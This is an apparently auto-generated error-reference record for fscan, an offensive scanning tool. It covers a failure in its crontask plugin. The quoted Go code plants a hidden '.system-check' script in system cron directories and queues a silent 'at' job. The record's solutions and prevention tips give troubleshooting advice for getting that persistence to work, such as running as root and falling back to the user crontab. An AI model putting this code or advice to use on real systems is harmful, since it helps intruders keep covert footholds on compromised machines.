{"record":{"id":"aa38ad83227d9b28","repo":"shadow1ng/fscan","slug":"unable-to-create-any-system-cron-task","errorCode":null,"errorMessage":"Unable to create any system cron task","messagePattern":"Unable to create any system cron task","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/local/crontask.go","lineNumber":261,"sourceCode":"\t\tmodified = append(modified, cronFile)\n\t}\n\n\t// 在每个cron目录中创建脚本\n\tfor _, cronDir := range cronDirs[1:] { // 跳过cron.d\n\t\tif _, err := os.Stat(cronDir); os.IsNotExist(err) {\n\t\t\tcontinue\n\t\t}\n\n\t\tscriptFile := filepath.Join(cronDir, \".system-check\")\n\t\tscriptContent := fmt.Sprintf(\"#!/bin/bash\\n%s >/dev/null 2>&1 &\\n\", execPath)\n\n\t\tif err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {\n\t\t\tmodified = append(modified, scriptFile)\n\t\t}\n\t}\n\n\tif len(modified) == 0 {\n\t\treturn nil, fmt.Errorf(\"%s\", i18n.GetText(\"crontask_system_create_none\"))\n\t}\n\n\treturn modified, nil\n}\n\n// addAtJob 添加at延时任务\nfunc (p *CronTaskPlugin) addAtJob(execPath string) error {\n\t// 检查at命令是否可用\n\tif _, err := exec.LookPath(\"at\"); err != nil {\n\t\treturn err\n\t}\n\n\t// 创建5分钟后执行的任务\n\tatCommand := fmt.Sprintf(\"echo '%s >/dev/null 2>&1' | at now + 5 minutes\", execPath)\n\tcmd := exec.Command(\"sh\", \"-c\", atCommand)\n\treturn cmd.Run()\n}\n","sourceCodeStart":243,"sourceCodeEnd":279,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/local/crontask.go#L243-L279","documentation":"addSystemCronJobs writes script/cron entries into system cron directories (e.g. /etc/cron.d, /etc/cron.daily) and collects the paths it successfully modified. If every write fails (len(modified) == 0) it returns this error, meaning no system cron task could be installed at all.","triggerScenarios":"All os.WriteFile calls into system cron locations failed — typically EACCES because the process is not root, or the target directories do not exist on the distribution.","commonSituations":"Non-root service account attempting persistence on a standard server; hardened images with cron dirs removed or cron service disabled; SELinux/AppArmor blocking writes to /etc/cron.*.","solutions":["Run with root privileges so /etc/cron.* files are writable.","Verify the system actually has cron installed and its directories exist (which crontab; ls /etc/cron.d).","Fall back to the current user's crontab (crontab -e / spool) instead of system cron dirs.","Check SELinux/AppArmor audit logs if running as root yet writes still fail."],"exampleFix":"// before\n$ systemctl run-agent ... # User=agent (non-root)\n// after\n# run as root or grant capability:\n$ sudo ./agent --plugin crontask","handlingStrategy":"fallback","validationCode":"if os.Geteuid() != 0 {\n    return errors.New(\"system cron persistence requires root\")\n}\nif _, err := os.Stat(\"/etc/cron.d\"); err != nil {\n    return errors.New(\"system cron directories unavailable\")\n}","typeGuard":null,"tryCatchPattern":"res := plugin.Scan(ctx, cfg)\nif !res.Success && strings.Contains(res.Error.Error(), \"system cron\") {\n    // fall back to user crontab or skip persistence\n}","preventionTips":["Check euid/privileges before enabling system-level persistence.","Verify cron is installed and /etc/cron.* exists on the target distro.","Keep a user-crontab fallback path for non-root deployments."],"tags":["persistence","cron","permissions"],"backgroundTag":"file-write-failed","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}